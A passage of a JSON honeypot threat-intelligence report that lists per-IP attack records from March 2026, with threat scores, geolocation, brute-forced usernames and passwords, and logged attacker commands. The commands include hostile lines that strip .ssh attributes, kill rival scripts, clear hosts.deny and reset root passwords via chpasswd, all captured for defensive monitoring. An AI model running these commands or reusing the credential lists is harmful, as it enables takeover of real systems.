      "country_code": "KR",
      "city": "Geumcheon-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:26:14.102000+00:00",
        "last_seen_30d": "2026-03-28T16:27:30.879000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.132.19.15": {
      "attack_count": 2,
      "first_seen": "2026-03-20T20:48:22.776Z",
      "last_seen": "2026-03-20T20:50:22.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 48347,
      "as_org": "JSC Mediasoft ekspert",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T20:48:22.776000+00:00",
        "last_seen_30d": "2026-03-20T21:00:25.140000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.236.23.124": {
      "attack_count": 2,
      "first_seen": "2026-03-17T15:43:21.328Z",
      "last_seen": "2026-03-17T15:43:52.068Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T15:43:21.328000+00:00",
        "last_seen_30d": "2026-03-17T15:45:01.654000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.93.97.12": {
      "attack_count": 2,
      "first_seen": "2026-03-03T22:27:37.557Z",
      "last_seen": "2026-03-03T22:29:37.568Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 49.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.0,
        "persistence": 23.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 28,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T22:27:37.557000+00:00",
        "last_seen_30d": "2026-03-30T01:05:37.273000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "61.58.104.31": {
      "attack_count": 2,
      "first_seen": "2026-03-12T04:34:29.031Z",
      "last_seen": "2026-03-12T04:34:46.776Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 24163,
      "as_org": "UNION BROADBAND NETWORK",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T04:34:29.031000+00:00",
        "last_seen_30d": "2026-03-12T04:35:48.634000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.210.37.59": {
      "attack_count": 2,
      "first_seen": "2026-03-29T23:49:15.818Z",
      "last_seen": "2026-03-29T23:49:33.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Cambados",
      "asn": 12430,
      "as_org": "Vodafone Spain",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T23:49:15.818000+00:00",
        "last_seen_30d": "2026-03-29T23:50:41.195000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.253": {
      "attack_count": 2,
      "first_seen": "2026-03-28T01:12:01.591Z",
      "last_seen": "2026-03-28T01:12:04.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 85.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:16:36+00:00",
        "last_seen_30d": "2026-03-31T22:31:50.218000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 46,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "93.100.201.255": {
      "attack_count": 2,
      "first_seen": "2026-03-05T17:27:15.320Z",
      "last_seen": "2026-03-05T17:27:21.412Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 35807,
      "as_org": "SkyNet Ltd.",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:27:15.320000+00:00",
        "last_seen_30d": "2026-03-05T17:28:25.871000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "132.248.170.105": {
      "attack_count": 708,
      "first_seen": "2026-03-03T23:43:08.890Z",
      "last_seen": "2026-03-07T00:00:06.675Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kishore",
        "steam",
        "ax",
        "frappeuser",
        "frontend",
        "ftpuser",
        "jun",
        "ww",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1221",
        "123123...",
        "12345678",
        "142857",
        "@qwer2024",
        "@qwer2025",
        "Bingo@1993",
        "Centos2025",
        "Jun123",
        "Jw123456",
        "Q2w3e4r5",
        "QWEasd123!@#",
        "Steam",
        "Welcome2025",
        "Woaini123",
        "X123",
        "a1231234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "whoami",
        "ls -lh $(which ls)",
        "which ls",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Steam\\nvLXXp49fCr8P\\nvLXXp49fCr8P\\n\"|passwd",
        "echo \"kishore123\\naa1j3M8aJgoU\\naa1j3M8aJgoU\\n\"|passwd",
        "echo \"root:6W9m5waKmIKu\"|chpasswd|bash",
        "echo \"root:A5s0DQWfySJD\"|chpasswd|bash",
        "echo \"root:NiKqEphdb4HI\"|chpasswd|bash",
        "echo \"root:Rgf8LidtpglC\"|chpasswd|bash",
        "echo \"root:itJJRkSfqAN1\"|chpasswd|bash",
        "echo \"root:xuo1pQJlwuzV\"|chpasswd|bash",
        "echo -e \"Steam\\nvLXXp49fCr8P\\nvLXXp49fCr8P\"|passwd|bash",
        "echo -e \"kishore123\\naa1j3M8aJgoU\\naa1j3M8aJgoU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 278,
      "as_org": "Universidad Nacional Autonoma de Mexico",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.1,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 821,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:43:08.890000+00:00",
        "last_seen_30d": "2026-03-07T00:01:09.501000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 708,
        "Suricata": 113
      }
    },
    "154.198.162.75": {
      "attack_count": 606,
      "first_seen": "2026-03-05T18:17:40.541Z",
      "last_seen": "2026-03-18T17:58:05.987Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kyle",
        "linux",
        "temp",
        "testmail",
        "xxx",
        "abe",
        "altibase",
        "arm",
        "bkp",
        "dasusr1",
        "mika",
        "prof",
        "root2",
        "rose",
        "student1",
        "tecnico",
        "tg",
        "u"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "password",
        "123",
        "1234",
        "123456",
        "2wsx!QAZ",
        "Abc12345",
        "Bkp",
        "Prof123!",
        "andre",
        "mika",
        "rose123",
        "student1123!",
        "testmail123!",
        "water123",
        "webmaster",
        "yuanpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nGDlmVrKmcNrd\\nGDlmVrKmcNrd\\n\"|passwd",
        "echo \"123456\\n0BWHDlco8SjS\\n0BWHDlco8SjS\\n\"|passwd",
        "echo \"1234\\n6KJJ7iydd2YE\\n6KJJ7iydd2YE\\n\"|passwd",
        "echo \"123\\n7GNdiNrmn6tL\\n7GNdiNrmn6tL\\n\"|passwd",
        "echo \"root:JPAMNU8UWmpu\"|chpasswd|bash",
        "echo \"root:PlLzFl6WAZ8V\"|chpasswd|bash",
        "echo \"testmail123!\\nJB4Q5iFQqVJR\\nJB4Q5iFQqVJR\\n\"|passwd",
        "echo -e \"12345678\\nGDlmVrKmcNrd\\nGDlmVrKmcNrd\"|passwd|bash",
        "echo -e \"123456\\n0BWHDlco8SjS\\n0BWHDlco8SjS\"|passwd|bash",
        "echo -e \"1234\\n6KJJ7iydd2YE\\n6KJJ7iydd2YE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 694,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:17:40.541000+00:00",
        "last_seen_30d": "2026-03-18T17:59:08.698000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 606,
        "Suricata": 88
      }
    },
    "178.16.54.95": {
      "attack_count": 519,
      "first_seen": "2026-03-26T15:20:09.983Z",
      "last_seen": "2026-03-26T17:19:12.136Z",
      "sessions": 103,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "oracle",
        "pi",
        "postgres",
        "guest",
        "ubuntu",
        "user",
        "administrator"
      ],
      "passwords_attempted": [
        "12345",
        "123456789",
        "password",
        "111111",
        "123123",
        "12345678",
        "qwerty",
        "123456",
        "1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 749,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T15:20:09.983000+00:00",
        "last_seen_30d": "2026-03-26T17:20:18.743000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 519,
        "Suricata": 230
      }
    },
    "102.89.17.238": {
      "attack_count": 488,
      "first_seen": "2026-03-04T16:55:26.678Z",
      "last_seen": "2026-03-09T02:43:07.220Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mahdi",
        "piuser",
        "host",
        "innova",
        "llm",
        "manager",
        "marek",
        "test1",
        "wade",
        "yasin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Bingo@1993",
        "090909",
        "123",
        "1234",
        "12345",
        "123456@Ab",
        "123abcABC",
        "6666",
        "911911",
        "Ab123456+",
        "Abc@111111",
        "Letmein!",
        "Li123456789",
        "Phoenix1",
        "Q1w2e3r4t5!",
        "Qazwsx@123",
        "Yasin123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\naAu4miDfHaVp\\naAu4miDfHaVp\\n\"|passwd",
        "echo \"piuser123\\nkLwoEHAUi4wR\\nkLwoEHAUi4wR\\n\"|passwd",
        "echo \"root:GfweLtbqhnvl\"|chpasswd|bash",
        "echo \"root:Xv2lDWoiwtCP\"|chpasswd|bash",
        "echo -e \"12345\\naAu4miDfHaVp\\naAu4miDfHaVp\"|passwd|bash",
        "echo -e \"piuser123\\nkLwoEHAUi4wR\\nkLwoEHAUi4wR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 596,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:55:26.678000+00:00",
        "last_seen_30d": "2026-03-09T02:44:15.237000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 488,
        "Suricata": 108
      }
    },
    "157.245.36.123": {
      "attack_count": 488,
      "first_seen": "2026-03-04T11:24:42.278Z",
      "last_seen": "2026-03-04T12:51:32.679Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "dspace",
        "odoo",
        "oracle"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "321",
        "4321",
        "21",
        "P4$w0rd",
        "P4$word",
        "P4ssw0rd",
        "P4ssword",
        "P@$w0rd",
        "P@ssw0rd",
        "P@ssword",
        "Pa$w0rd",
        "Pa$word",
        "Passw0rd",
        "Password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 696,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T11:24:42.278000+00:00",
        "last_seen_30d": "2026-03-04T12:52:37.703000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 488,
        "Suricata": 208
      }
    },
    "170.64.156.162": {
      "attack_count": 455,
      "first_seen": "2026-03-02T23:34:51.147Z",
      "last_seen": "2026-03-03T00:40:22.770Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "000000",
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "654321",
        "888888",
        "admin",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "!@#$%",
        "123",
        "123321",
        "1234567890",
        "123abc"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 650,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:34:51.147000+00:00",
        "last_seen_30d": "2026-03-03T00:40:46.379000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 455,
        "Suricata": 195
      }
    },
    "172.191.157.64": {
      "attack_count": 424,
      "first_seen": "2026-03-16T07:53:11.183Z",
      "last_seen": "2026-03-30T01:07:39.907Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ghostadmin",
        "k8suser",
        "daniel",
        "dario",
        "den",
        "matin",
        "passbolt",
        "viewer",
        "wyy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZXCVGHJKLP",
        "!Qaz@wsx#edc",
        "123",
        "12345678",
        "123456Dd",
        "123vps",
        "AA123123123",
        "Aa778899",
        "Admin202483",
        "Bruce@123",
        "Ck123456@",
        "Ghostadmin123!",
        "Matin123!",
        "MrDev2025$",
        "Prabhu@123",
        "Wyy123!",
        "abcd_1234",
        "coucou"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Ghostadmin123!\\nb8SMC6qeq6Ni\\nb8SMC6qeq6Ni\\n\"|passwd",
        "echo \"k8suser\\ndGQ84v6V3LPK\\ndGQ84v6V3LPK\\n\"|passwd",
        "echo \"root:M3YOAPCsnlsR\"|chpasswd|bash",
        "echo \"root:xxvVyODJTg7t\"|chpasswd|bash",
        "echo -e \"Ghostadmin123!\\nb8SMC6qeq6Ni\\nb8SMC6qeq6Ni\"|passwd|bash",
        "echo -e \"k8suser\\ndGQ84v6V3LPK\\ndGQ84v6V3LPK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 49.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 514,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:53:11.183000+00:00",
        "last_seen_30d": "2026-03-30T01:08:40.398000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 90
      }
    },
    "101.36.112.235": {
      "attack_count": 355,
      "first_seen": "2026-03-22T14:28:38.669Z",
      "last_seen": "2026-03-27T13:38:39.441Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu22",
        "anders",
        "asus",
        "ftp_test",
        "hamza",
        "nova",
        "showroom",
        "silvia",
        "victor",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "#qlalf#wiseit#qjsgh#",
        "12345",
        "123456123456",
        "12345678",
        "1234Qwer",
        "1Qazxsw2",
        "Ct123456",
        "Pass@word88",
        "Qf123456!",
        "a123@123",
        "acmilan",
        "admin123",
        "adminiSTRATOR",
        "an@123456",
        "anders123",
        "cect-chinacomm",
        "eSER!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nypg6VA1EvK5F\\nypg6VA1EvK5F\\n\"|passwd",
        "echo \"root:q5Mi1evmDmg6\"|chpasswd|bash",
        "echo \"root:xp5Vp9e0qVwe\"|chpasswd|bash",
        "echo -e \"password\\nypg6VA1EvK5F\\nypg6VA1EvK5F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 37.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 442,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T14:28:38.669000+00:00",
        "last_seen_30d": "2026-03-27T13:39:44.525000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 355,
        "Suricata": 87
      }
    },
    "64.23.143.149": {
      "attack_count": 328,
      "first_seen": "2026-03-03T16:23:35.091Z",
      "last_seen": "2026-03-03T17:17:26.830Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "centos"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "password",
        "000000",
